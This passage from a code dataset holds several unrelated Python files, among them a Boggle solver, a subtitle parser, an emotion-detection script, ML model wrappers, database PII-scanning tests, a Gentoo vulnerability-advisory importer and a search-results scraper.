return abs(one[0] - two[0]) in [0, 1] and abs(one[1] - two[1]) in [0, 1]\n\n def get_adjacent(l):\n return [spot for spot in letters if is_adjacent(l, spot) and spot not in usedLetters]\n\n # begin the recursive fun!\n def get_next_letter(letter, depth):\n adjacentLetters = [adj for adj in get_adjacent(letter) if word[depth] == adj[2]]\n\n #stop recursing if we are on the last letter, and we found adjacent matches\n if depth == len(word) - 1 and len(adjacentLetters) > 0:\n # we did it!\n usedLetters.append(adjacentLetters[0])\n return True\n\n if (len(adjacentLetters) == 0):\n return False\n\n for adjacentLetter in adjacentLetters:\n usedLetters.append(adjacentLetter)\n if get_next_letter(adjacentLetter, depth + 1):\n # we did it!\n return True\n else:\n usedLetters.pop()\n\n # collapse the board to a single list\n letters = []\n for rowNum in range(len(board)):\n for colNum in range(len(board)):\n # tuple with rowCoordinate, columnCoordinate, letter\n letters.append((rowNum, colNum, board[rowNum][colNum]))\n\n # get all the spots with the first letter of the word\n startingLetters = [starts for starts in letters if starts[2] == word[0]]\n\n # check for the simple case that the word is one letter long\n if len(word) == 1 and len(startingLetters) > 0:\n return True\n\n for startingLetter in startingLetters:\n # mark this letter as used\n usedLetters.append(startingLetter)\n if get_next_letter(startingLetter, 1):\n # we did it!\n return True\n else:\n # this letter did't work out\n usedLetters = []\n\n # welp, didn't find anything\n return False\n\n\n#testing, not part of solution\ntheBoard = \\\n [\n [\"E\", \"A\", \"R\", \"A\"],\n [\"N\", \"L\", \"E\", \"C\"],\n [\"I\", \"A\", \"I\", \"S\"],\n [\"B\", \"Y\", \"O\", \"R\"]\n ]\n\nprint(find_word(theBoard, \"C\"))#, True, \"Test for C\")\nprint(find_word(theBoard, \"EAR\"))#, True, \"Test for EAR\")\nprint(find_word(theBoard, \"EARS\"))#, False, \"Test for EARS\")\nprint(find_word(theBoard, \"BAILER\"))#, True, \"Test for BAILER\")\nprint(find_word(theBoard, \"RSCAREIOYBAILNEA\"))#, True, \"Test for RSCAREIOYBAILNEA\")\nprint(find_word(theBoard, \"CEREAL\"))#, False, \"Test for CEREAL\")\nprint(find_word(theBoard, \"ROBES\"))#, False, \"Test for ROBES\")","sub_path":"boggle.py","file_name":"boggle.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"254332126","text":"#!/usr/bin/env python3\nimport sys\nimport re\nfrom pathlib import Path\nhome = Path.home()\n\nsurnames = {}\nzhistory = home.joinpath('.zhistory')\nsurnamesPath = home.joinpath('.cache').joinpath('clonerep')\nif surnamesPath.is_file():\n surnamesFile = open(surnamesPath, 'r')\n print('cache exists, reading')\nelse:\n surnamesFile = open(surnamesPath, 'w')\n print('NO')\n\n for line in open(zhistory, 'r', encoding='cp1251').readlines():\n if re.match(': \\d{10}:0;', line) != None:\n line = line.split(';', 1)[1]\n m = re.search('git clone https://github.com/(.*?)/.*? (\\w+)', line)\n if m != None:\n surnames[m.group(1)] = m.group(2)\n surnamesFile.write(m.group(1) + \" \" + m.group(2) + \"\\n\")\n\nif len(sys.argv) == 1:\n print(\"Usage: cloneRep https://gitgub.com/username/repname\")\n sys.exit()\n\nrep = sys.argv[1]\nm = re.search('https://github.com/(.*?)/', rep)\nif m != None and m.group(1) in surnames:\n surname = surnames[m.group(1)]\nelse:\n sys.stderr.write('Surname is not found!\\n')\n surname = input()\n\nprint(surname)\n","sub_path":"scripts/findSurname.py","file_name":"findSurname.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"545853228","text":"right = 1\nleft = 2\n\n#turn 28 cm\nclass Command:\n def __init__(self, bot ,direct, dist):\n self.bot = bot\n self.direct = direct\n self.dist = dist\n #fulltick 360\n #r 3.25\n self.tick = int( ( self.dist*360 ) // ( 2*3.14*3.25 ) )\n if self.direct == \"forward\" :\n self.tickR = self.tick * -1\n self.tickL = self.tick \n elif self.direct == \"backward\" :\n self.tickR = self.tick \n self.tickL = self.tick * -1\n elif self.direct == \"right\" :\n self.tickR = 0 \n self.tickL = self.tick * 1\n elif self.direct == \"left\" :\n self.tickR = self.tick * -1\n self.tickL = 0\n elif self.direct == \"rightb\" :\n self.tickR = 0 \n self.tickL = self.tick * -1\n elif self.direct == \"leftb\" :\n self.tickR = self.tick * 1\n self.tickL = 0\n\n def toFinish(self):\n print(self.tickR)\n self.bot.encoderMotorMover( right, 30, self.tickR)\n self.bot.encoderMotorMover( left, 30, self.tickL)\n \n def getDirect(self):\n return self.direct \n \n def targetTickRight(self):\n return self.tickR \n\n def targetTickLeft(self):\n return self.tickL","sub_path":"robot/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"312932313","text":"import re\n\nfrom .formatbase import FormatBase\nfrom .ssaevent import SSAEvent\nfrom .ssastyle import SSAStyle\nfrom .time import timestamp_to_ms\n\nTIMESTAMP = re.compile(r\"(\\d{1,2}):(\\d{2}):(\\d{2}):(\\d{2,3})\")\nTIME_LINE = re.compile(r'\\d{4} \\d{1,2}:\\d{1,2}:\\d{1,2}:\\d{1,2} \\d{1,2}:\\d{1,2}:\\d{1,2}:\\d{1,2}')\n\n\ndef timestamp_str_to_ms(t):\n return timestamp_to_ms(TIMESTAMP.match(t).groups())\n\n\nclass RtfFormat(FormatBase):\n @classmethod\n def guess_format(cls, text):\n \"\"\"See :meth:`pysubs2.formats.FormatBase.guess_format()`\"\"\"\n if re.match(TIME_LINE, text.strip().split(\"\\n\")[0]):\n return \"rtf\"\n\n @classmethod\n def from_file(cls, subs, fp, format_, **kwargs):\n \"\"\"See :meth:`pysubs2.formats.FormatBase.from_file()`\"\"\"\n text = \"\"\n time, start, end = None, None, None\n events = []\n\n for line in fp:\n if not line:\n continue\n elif re.match(TIME_LINE, line):\n if time is not None:\n events.append(SSAEvent(start=start, end=end, text=text))\n text = \"\"\n time = line.split(\" \")\n start = timestamp_str_to_ms(time[1])\n end = timestamp_str_to_ms(time[2])\n else:\n text += line + \"\\n\"\n\n events.append(SSAEvent(start=start, end=end, text=text))\n subs.events = events\n","sub_path":"pysubs2/rtfformat.py","file_name":"rtfformat.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"248489095","text":"from statistics import mode\nimport os\nimport cv2\nfrom keras.models import load_model\nimport numpy as np\nimport imutils\n\nfrom utils.datasets import get_labels\nfrom utils.inference import detect_faces\nfrom utils.inference import draw_text\nfrom utils.inference import draw_bounding_box\nfrom utils.inference import apply_offsets\nfrom utils.inference import load_detection_model\nfrom utils.preprocessor import preprocess_input\n\ndetection_model_path = 'trained_models/detection_models/haarcascade_frontalface_default.xml'\nemotion_model_path = 'trained_models/emotion_models/fer2013_mini_XCEPTION.102-0.66.hdf5'\nemotion_labels = get_labels('fer2013')\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt.xml')\n\nframe_window = 10\nemotion_offsets = (20, 40)\n\nface_detection = load_detection_model(detection_model_path)\nemotion_classifier = load_model(os.path.join(os.path.dirname(os.path.realpath(__file__)),\n\t\t\t\t\t\t\t\t\t emotion_model_path), compile=False)\n\nemotion_target_size = emotion_classifier.input_shape[1:3]\n\nemotion_window = []\n\n\n\ndef emotionimg(img):\n # bgr_image = video_capture.read()[1]\n gray_face = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n gray_face = cv2.resize(gray_face, (emotion_target_size))\n gray_face = preprocess_input(gray_face, True)\n gray_face = np.expand_dims(gray_face, 0)\n gray_face = np.expand_dims(gray_face, -1)\n emotion_prediction = emotion_classifier.predict(gray_face)\n emotion_label_arg = np.argmax(emotion_prediction)\n emotion_text = emotion_labels[emotion_label_arg]\n return emotion_text, emotion_prediction\n\n\ndef detect_faces(frame):\n frame = imutils.resize(frame)\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n gray = cv2.cvtColor(small_frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(\n gray,\n scaleFactor=1.05,\n minNeighbors=5,\n minSize=(20, 20),\n flags=cv2.CASCADE_SCALE_IMAGE\n )\n return faces\n\n\ndef videoemot():\n cap = cv2.VideoCapture(0)\n emot = []\n emo_stata = []\n while(cap.isOpened()):\n ret, frame = cap.read()\n if ret:\n a = detect_faces(frame)*4\n if len(a) > 0:\n for f in a:\n try:\n emo_label, emo_stat = emotionimg(frame[f[1]:f[1] + f[3], f[0]:f[0] + f[2]])\n emot.append(emo_label)\n emo_stata.append(emo_stat)\n cv2.rectangle(frame, (f[0], f[1]), (f[0] + f[2], f[1] + f[3]), (0, 255, 0), 2)\n cv2.putText(frame,emot[-1],(f[1],f[0]), cv2.FONT_HERSHEY_SIMPLEX, 1, (200,0,0), 3, cv2.LINE_AA)\n cv2.imshow('frame',frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n except Exception as e:\n print(e)\n else:\n break\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\n count = len(emot)\n em_list = ('angry', 'disgust', 'fear', 'happy', 'neutral', 'sad', 'surprise')\n em_1 = {}\n for k in em_list:\n em_1[k] = 0\n for k in emot:\n em_1[k]+=1\n for k in em_list:\n try:\n em_1[k]=(float(em_1[k])/count)*100\n except:\n em_1[k] = 0\n return em_1, emo_stata\n","sub_path":"emoapi.py","file_name":"emoapi.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"531037532","text":"import keras\r\nimport numpy as np\r\nimport xgboost as xgb\r\nimport lightgbm as lgb\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom logging import getLogger\r\n\r\nlogger = getLogger(__name__)\r\n\r\n\r\n# lightGbmによるモデル\r\nclass ModelLgbm:\r\n\r\n def __init__(self):\r\n self.model = None\r\n logger.info('The model is LightGBM')\r\n\r\n def fit(self, tr_x, tr_y, va_x, va_y, params):\r\n logger.info('model parameter: {}'.format(params))\r\n dtrain = lgb.Dataset(tr_x, tr_y)\r\n dvalid = lgb.Dataset(va_x, va_y, reference=dtrain)\r\n logger.info('train x shape: {} / train y shape: {}'.format(tr_x.shape, tr_y.shape))\r\n logger.info('train x feature: {}'.format(tr_x.columns.values))\r\n params['num_class'] = tr_y.nunique()\r\n self.model = lgb.train(params, dtrain, valid_sets=[dtrain, dvalid])\r\n\r\n def predict(self, x):\r\n pred = self.model.predict(x)\r\n pred_max = np.argmax(pred, axis=1)\r\n fi = self.model.feature_importance()\r\n idx = np.argsort(fi)[::-1]\r\n logger.info('feature importance :{}/{}'.format(x.columns.values[idx], fi[idx]))\r\n logger.info('num_feature :{}'.format(self.model.num_feature()))\r\n return pred_max\r\n\r\n def predict_proba(self, x):\r\n pred = self.model.predict(x)\r\n fi = self.model.feature_importance()\r\n idx = np.argsort(fi)[::-1]\r\n logger.info('feature importance :{}/{}'.format(x.columns.values[idx], fi[idx]))\r\n logger.info('num_feature :{}'.format(self.model.num_feature()))\r\n return pred\r\n\r\n\r\n# xgboostによるモデル\r\nclass ModelXgb:\r\n\r\n def __init__(self):\r\n self.model = None\r\n\r\n def fit(self, tr_x, tr_y, va_x, va_y, params):\r\n params = {'objective': 'binary:logistic', 'silent': 1, 'random_state': 71,\r\n 'eval_metric': 'logloss'}\r\n num_round = 10\r\n dtrain = xgb.DMatrix(tr_x, label=tr_y)\r\n dvalid = xgb.DMatrix(va_x, label=va_y)\r\n watchlist = [(dtrain, 'train'), (dvalid, 'eval')]\r\n self.model = xgb.train(params, dtrain, num_round, evals=watchlist)\r\n\r\n def predict(self, x):\r\n data = xgb.DMatrix(x)\r\n pred = self.model.predict(data)\r\n return pred\r\n\r\n\r\n# ニューラルネットによるモデル\r\nclass ModelMLP:\r\n\r\n def __init__(self):\r\n self.model = None\r\n self.scaler = None\r\n\r\n def fit(self, tr_x, tr_y, va_x, va_y, params):\r\n self.scaler = StandardScaler()\r\n self.scaler.fit(tr_x)\r\n\r\n batch_size = 128\r\n epochs = 10\r\n\r\n tr_x = self.scaler.transform(tr_x)\r\n va_x = self.scaler.transform(va_x)\r\n model = Sequential()\r\n model.add(Dense(256, activation='relu', input_shape=(tr_x.shape[1],)))\r\n model.add(Dropout(0.2))\r\n model.add(Dense(256, activation='relu'))\r\n model.add(Dropout(0.2))\r\n model.add(Dense(tr_y.nunique(), activation='softmax'))\r\n\r\n # opt = keras.optimizers.Adam(learning_rate=0.01)\r\n model.compile(loss='sparse_categorical_crossentropy', optimizer='adam', metrics=['sparse_categorical_accuracy'])\r\n\r\n print(np.array(tr_y).shape, np.array(va_y).shape)\r\n\r\n history = model.fit(tr_x, tr_y,\r\n batch_size=batch_size, epochs=epochs,\r\n verbose=1, validation_data=(va_x, va_y))\r\n self.model = model\r\n\r\n def predict(self, x):\r\n x = self.scaler.transform(x)\r\n pred = self.model.predict_classes(x).reshape(-1)\r\n return pred\r\n\r\n def predict_proba(self, x):\r\n x = self.scaler.transform(x)\r\n pred = self.model.predict_proba(x)\r\n return pred\r\n\r\n\r\n# 線形モデル\r\nclass ModelLinear:\r\n\r\n def __init__(self):\r\n self.model = None\r\n self.scaler = None\r\n\r\n def fit(self, tr_x, tr_y, va_x, va_y, params):\r\n self.scaler = StandardScaler()\r\n self.scaler.fit(tr_x)\r\n tr_x = self.scaler.transform(tr_x)\r\n self.model = LogisticRegression(solver='lbfgs', C=1.0)\r\n self.model.fit(tr_x, tr_y)\r\n\r\n def predict(self, x):\r\n x = self.scaler.transform(x)\r\n pred = self.model.predict(x)\r\n return pred\r\n\r\n def predict_proba(self, x):\r\n x = self.scaler.transform(x)\r\n pred = self.model.predict_proba(x)[:, 1]\r\n return pred\r\n","sub_path":"UniversityOfLiverpool_IonSwitching/script/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"157707555","text":"import csv\nfrom abc import abstractmethod, ABC\nfrom argparse import Namespace\nfrom unittest import TestCase\n\nimport psycopg2\nimport pymysql\n\nfrom piicatcher.explorer.databases import MySQLExplorer, PostgreSQLExplorer\n\n\ndef load_sample_data(connection):\n create_table = \"\"\"\n CREATE TABLE SAMPLE(\n id VARCHAR(255), gender VARCHAR(255), birthdate DATE, maiden_name VARCHAR(255), lname VARCHAR(255),\n fname VARCHAR(255), address VARCHAR(255), city VARCHAR(255), state VARCHAR(255), zip VARCHAR(255), \n phone VARCHAR(255), email VARCHAR(255), cc_type VARCHAR(255), cc_number VARCHAR(255), cc_cvc VARCHAR(255),\n cc_expiredate DATE\n ) \n \"\"\"\n\n sql = \"\"\"\n INSERT INTO SAMPLE VALUES(%s,%s,%s,%s,%s,%s,%s,%s,\n %s,%s,%s,%s,%s,%s,%s,%s)\n \"\"\"\n # Get Data\n with open('tests/samples/sample-data.csv') as csv_file:\n reader = csv.reader(csv_file)\n\n with connection.cursor() as cursor:\n cursor.execute(create_table)\n header = True\n for row in reader:\n if not header:\n cursor.execute(sql, row)\n header = False\n connection.commit()\n\n\ndef drop_sample_data(connection):\n drop_table = \"DROP TABLE SAMPLE\"\n\n with connection.cursor() as cursor:\n cursor.execute(drop_table)\n connection.commit()\n\n\n# pylint: disable=too-few-public-methods\nclass CommonSampleDataTestCases:\n class CommonSampleDataTests(ABC, TestCase):\n @classmethod\n @abstractmethod\n def get_connection(cls):\n raise NotImplementedError\n\n @classmethod\n def setUpClass(cls):\n connection = cls.get_connection()\n load_sample_data(connection)\n connection.close()\n\n @classmethod\n def tearDownClass(cls):\n connection = cls.get_connection()\n drop_sample_data(connection)\n connection.close()\n\n @property\n @abstractmethod\n def explorer(self):\n raise NotImplementedError\n\n def test_deep_scan(self):\n explorer = self.explorer\n try:\n explorer.scan()\n finally:\n explorer.close_connection()\n print(explorer.get_tabular(True))\n schema = explorer.get_schemas()[0]\n self.assertTrue(schema.has_pii())\n\n\nclass VanillaMySqlExplorerTest(CommonSampleDataTestCases.CommonSampleDataTests):\n @property\n def namespace(self):\n return Namespace(\n host=\"127.0.0.1\",\n user=\"piiuser\",\n password=\"p11secret\",\n database=\"piidb\",\n include_schema=(),\n exclude_schema=(),\n include_table=(),\n exclude_table=(),\n catalog=None\n )\n\n @classmethod\n def get_connection(cls):\n return pymysql.connect(host=\"127.0.0.1\",\n user=\"piiuser\",\n password=\"p11secret\",\n database=\"piidb\"\n )\n\n @property\n def explorer(self):\n return MySQLExplorer(self.namespace)\n\n\nclass SmallSampleMysqlExplorer(MySQLExplorer):\n @classmethod\n def _get_sample_query(cls, schema_name, table_name, column_list):\n raise NotImplementedError\n\n @property\n def small_table_max(self):\n return 5\n\n\nclass SmallSampleMySqlExplorerTest(VanillaMySqlExplorerTest):\n @property\n def explorer(self):\n return SmallSampleMysqlExplorer(self.namespace)\n\n\nclass VanillaPGExplorerTest(CommonSampleDataTestCases.CommonSampleDataTests):\n @property\n def namespace(self):\n return Namespace(\n host=\"127.0.0.1\",\n user=\"piiuser\",\n password=\"p11secret\",\n database=\"piidb\",\n include_schema=(),\n exclude_schema=(),\n include_table=(),\n exclude_table=(),\n catalog=None\n )\n\n @classmethod\n def get_connection(cls):\n return psycopg2.connect(host=\"127.0.0.1\",\n user=\"piiuser\",\n password=\"p11secret\",\n database=\"piidb\"\n )\n\n @property\n def explorer(self):\n return PostgreSQLExplorer(self.namespace)\n\n\nclass SmallSamplePGExplorer(MySQLExplorer):\n @classmethod\n def _get_sample_query(cls, schema_name, table_name, column_list):\n raise NotImplementedError\n\n @property\n def small_table_max(self):\n return 5\n\n\nclass SmallSamplePGExplorerTest(VanillaMySqlExplorerTest):\n @property\n def explorer(self):\n return SmallSampleMysqlExplorer(self.namespace)\n","sub_path":"tests/test_sample_database.py","file_name":"test_sample_database.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"127087265","text":"from django.urls import path\nfrom tournaments import views\n\napp_name = 'tournaments'\n\nurlpatterns = [\n path('tournament_list/', views.tournament_list, name='tournament_list'),\n path('join_tournament/////',\n views.join_tournament, name='join_tournament'),\n]\n","sub_path":"tournaments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"647306818","text":"from Lib.Connectors import PriceFileConverter\nimport sys\n\n\nclass TickBar(PriceFileConverter.PriceFileConverter):\n\n def __init__(self, config_folder, config_file, input_folder, output_folder, parse):\n super().__init__(config_folder, config_file, input_folder, output_folder, parse)\n\n def parse_file_name(self, file_name):\n \"\"\"\n Parse a Dukascopy Range File name into\n internal format\n\n :return:\n \"\"\"\n\n _comps = str(file_name).split(\"_\")\n _fn_info = dict()\n _fn_info[\"represent\"] = \"TICKBAR\"\n _fn_info[\"instrument\"] = _comps[0]\n _fn_info[\"bar_size\"] = _comps[2]\n _fn_info[\"price_type\"] = _comps[3]\n assert _fn_info[\"price_type\"].lower() in [\"bid\", \"ask\"], \\\n f\"wrong price type {_fn_info['price_type']}, must be Bid or Ask\"\n\n if _fn_info[\"bar_size\"] == \"ONE\":\n _fn_info[\"bar_size\"] = \"1\"\n elif _fn_info[\"bar_size\"] == \"TWO\":\n _fn_info[\"bar_size\"] = \"2\"\n elif _fn_info[\"bar_size\"] == \"FIVE\":\n _fn_info[\"bar_size\"] = \"5\"\n\n self.file_name_info = _fn_info\n\n return _fn_info\n\nif __name__ == \"__main__\":\n try:\n _config_folder = sys.argv[1]\n _config_file = sys.argv[2]\n _input_folder = sys.argv[3]\n _output_folder = sys.argv[4]\n\n except Exception as e:\n raise Exception(str(e))\n\n print(\"Processing for\", _config_file)\n\n _rk = TickBar(_config_folder, _config_file, _input_folder, _output_folder, \"\")\n _rk.run()\n","sub_path":"Dukascopy/TickBar.py","file_name":"TickBar.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"589151380","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom collections import defaultdict\nd = defaultdict(list)\nlist_m=[]\n\nn, m = map(int,input().split())\n\nfor i in range(0,n):\n d[input()].append(i+1) \n\nfor i in range(0,m):\n list_m=list_m+[input()] \n\nfor i in list_m: \n if i in d:\n print(\" \".join(map(str,d[i])))\n else:\n print(-1)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"DefaultDict_tutorial.py","file_name":"DefaultDict_tutorial.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"155603044","text":"# Copyright (c) 2017 nexB Inc. and others. All rights reserved.\n# http://nexb.com and https://github.com/nexB/vulnerablecode/\n# The VulnerableCode software is licensed under the Apache License version 2.0.\n# Data generated with VulnerableCode require an acknowledgment.\n#\n# You may not use this software except in compliance with the License.\n# You may obtain a copy of the License at: http://apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software distributed\n# under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n# CONDITIONS OF ANY KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations under the License.\n#\n# When you publish or redistribute any data created with VulnerableCode or any VulnerableCode\n# derivative work, you must accompany this data with the following acknowledgment:\n#\n# Generated with VulnerableCode and provided on an \"AS IS\" BASIS, WITHOUT WARRANTIES\n# OR CONDITIONS OF ANY KIND, either express or implied. No content created from\n# VulnerableCode should be considered or used as legal advice. Consult an Attorney\n# for any legal advice.\n# VulnerableCode is a free software code scanning tool from nexB Inc. and others.\n# Visit https://github.com/nexB/vulnerablecode/ for support and download.\n\nimport re\nimport xml.etree.ElementTree as ET\nfrom typing import Set\n\nfrom packageurl import PackageURL\n\nfrom vulnerabilities.data_source import GitDataSource\nfrom vulnerabilities.data_source import Advisory\nfrom vulnerabilities.data_source import Reference\nfrom vulnerabilities.helpers import nearest_patched_package\n\n\nclass GentooDataSource(GitDataSource):\n def __enter__(self):\n super(GentooDataSource, self).__enter__()\n\n if not getattr(self, \"_added_files\", None):\n self._added_files, self._updated_files = self.file_changes(\n recursive=True, file_ext=\"xml\"\n )\n\n def updated_advisories(self) -> Set[Advisory]:\n files = self._updated_files.union(self._added_files)\n advisories = []\n for f in files:\n processed_data = self.process_file(f)\n advisories.extend(processed_data)\n return self.batch_advisories(advisories)\n\n def process_file(self, file):\n xml_data = {}\n xml_root = ET.parse(file).getroot()\n glsa = \"GLSA-\" + xml_root.attrib[\"id\"]\n vuln_reference = [\n Reference(\n reference_id=glsa,\n url=\"https://security.gentoo.org/glsa/{}\".format(xml_root.attrib[\"id\"]),\n )\n ]\n\n for child in xml_root:\n if child.tag == \"references\":\n xml_data[\"cves\"] = self.cves_from_reference(child)\n\n if child.tag == \"synopsis\":\n xml_data[\"description\"] = child.text\n\n if child.tag == \"affected\":\n (\n xml_data[\"affected_purls\"],\n xml_data[\"unaffected_purls\"],\n ) = self.affected_and_safe_purls(child)\n xml_data[\"unaffected_purls\"] = list(xml_data[\"unaffected_purls\"])\n xml_data[\"affected_purls\"] = list(xml_data[\"affected_purls\"])\n\n advisory_list = []\n # It is very inefficient, to create new Advisory for each CVE\n # this way, but there seems no alternative.\n for cve in xml_data[\"cves\"]:\n advisory = Advisory(\n vulnerability_id=cve,\n summary=xml_data[\"description\"],\n affected_packages=nearest_patched_package(\n xml_data[\"affected_purls\"], xml_data[\"unaffected_purls\"]\n ),\n references=vuln_reference,\n )\n advisory_list.append(advisory)\n return advisory_list\n\n @staticmethod\n def cves_from_reference(reference):\n cves = []\n for child in reference:\n txt = child.text.strip()\n match = re.match(r\"CVE-\\d{4}-\\d{4,}\", txt)\n if match:\n cves.append(match.group())\n\n return cves\n\n @staticmethod\n def affected_and_safe_purls(affected_elem):\n safe_purls = set()\n affected_purls = set()\n skip_versions = {\"1.3*\", \"7.3*\", \"7.4*\"}\n for pkg in affected_elem:\n for info in pkg:\n if info.text in skip_versions:\n continue\n pkg_ns, pkg_name, = pkg.attrib[\n \"name\"\n ].split(\"/\")\n purl = PackageURL(type=\"ebuild\", name=pkg_name, version=info.text, namespace=pkg_ns)\n\n if info.attrib.get(\"range\"):\n if len(info.attrib.get(\"range\")) > 2:\n continue\n\n if info.tag == \"unaffected\":\n # quick hack, to know whether this\n # version lies in this range, 'e' stands for\n # equal, which is paired with 'greater' or 'less'.\n # All possible values of info.attrib['range'] =\n # {'gt', 'lt', 'rle', 'rge', 'rgt', 'le', 'ge', 'eq'}, out of\n # which ('rle', 'rge', 'rgt') are ignored, because they compare\n # 'release' not the 'version'.\n\n if \"e\" in info.attrib[\"range\"]:\n safe_purls.add(purl)\n else:\n affected_purls.add(purl)\n\n elif info.tag == \"vulnerable\":\n if \"e\" in info.attrib[\"range\"]:\n affected_purls.add(purl)\n else:\n safe_purls.add(purl)\n\n return (affected_purls, safe_purls)\n","sub_path":"vulnerabilities/importers/gentoo.py","file_name":"gentoo.py","file_ext":"py","file_size_in_byte":5727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"515939475","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 20 04:04:16 2017\r\n\r\n@author: Uwemuke\r\n\"\"\"\r\n\r\nx = int(input('Enter an interger: '))\r\nans = 0 \r\nwhile ans**3 < abs(x):\r\n ans = ans + 1\r\nif ans**3 != abs(x):\r\n print(str(x) + ' is not a perfect cube')\r\nelse:\r\n if x < 0:\r\n ans = -ans\r\n print('Cube root of ' + str(x) + ' is ' + str(ans))","sub_path":"MyPython/GuessAndCheckDirty.py","file_name":"GuessAndCheckDirty.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"145525294","text":"#\n# 2217_로프.py\n# BaekjoonAlgorithm\n#\n# Created by EonseokYim on 6/7/19, 9:50 PM.\n# Copyright © 2019 EonseokYim. All rights reserved.\n#\n# https://www.acmicpc.net/problem/2217\n#\n\nn = int(input())\nropes = []\nfor i in range(n):\n ropes.append(int(input()))\n\nropes.sort()\n\nmaximum = 0\nfor i in range(n):\n cnt = n-i # n이 5라면, cnt=5,4,3,2,1\n weight = ropes[i] * cnt\n \"\"\"\n ropes 리스트는 정렬이 되어있음!!!(중요한 포인트)\n ropes의 첫번째 로프를 n개 사용하여 weight 계산,, 두번째 프르를 n-1개 사용하여 weight 계산.. 쭉 이어나가서 마지막 로프를 하나를 사용한 weight를 계산\n 이 중에서 maximum이 바로 정답.\n \"\"\"\n if maximum < weight:\n maximum = weight\n\nprint(maximum)\n","sub_path":"그리디 알고리즘/2217_로프.py","file_name":"2217_로프.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"487225554","text":"import json\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nimport sys\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'}\n\n\ndef google_scraper(query, start=0):\n records = []\n try:\n URL_TO_SCRAPE = \"http://www.google.com/search?q=\" + query.replace(' ', '+') + \"&start=\" + str(start * 10) \\\n + '&num=10&pws=0'\n print(URL_TO_SCRAPE)\n print(\"Checking on page# \" + str(start + 1))\n\n payload = {'api_key': API_KEY, 'url': URL_TO_SCRAPE, 'render': 'false'}\n\n r = requests.get('http://api.scraperapi.com', params=payload, timeout=60)\n soup = BeautifulSoup(r.text, 'lxml')\n results = soup.select('.yuRUbf > a')\n for result in results:\n heading = result.select('h3')\n records.append({'URL': result['href'], 'TITLE': heading[0].text})\n print(heading[0].text, ' ', result['href'])\n except requests.ConnectionError as e:\n print(\"OOPS!! Connection Error. Make sure you are connected to Internet. Technical Details given below.\\n\")\n print(str(e))\n except requests.Timeout as e:\n print(\"OOPS!! Timeout Error. Technical Details given below.\\n\")\n print(str(e))\n except requests.RequestException as e:\n print(\"OOPS!! General Error. Technical Details given below.\\n\")\n print(str(e))\n finally:\n return records\n\n\nif __name__ == '__main__':\n search_results = []\n NO_PAGES = 2\n args = sys.argv\n if len(args) < 2:\n print('Invalid Format: The correct format is: python main.py ')\n exit()\n keyword = args[1]\n with open('API_KEY.txt', encoding='utf8') as f:\n API_KEY = f.read()\n\n for i in range(NO_PAGES):\n search_results.append({'PAGE_NO': i + 1, 'RESULTS': google_scraper(keyword, i)})\n sleep(5)\n\n if len(search_results) > 0:\n json_data = json.dumps(search_results)\n with open('google_results.json', 'w', encoding='utf8') as f:\n f.write(json_data)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"377866333","text":"#!/usr/bin/python\n\n# Intelligent Systems Lab Project - 2016\n#\n# Authors:\n# - Alberto Aranda Garcia\n# - Diego Anderica Richard\n# - Jose Angel Martin Baos\n\nimport cv2\nimport numpy as np\n\nclass ImageProcessor():\n \"\"\"Allows to process the input images and generate a puzzle form them.\"\"\"\n def __init__(self, original_img, unsolved_img, n_rows, n_cols):\n self.original_img = 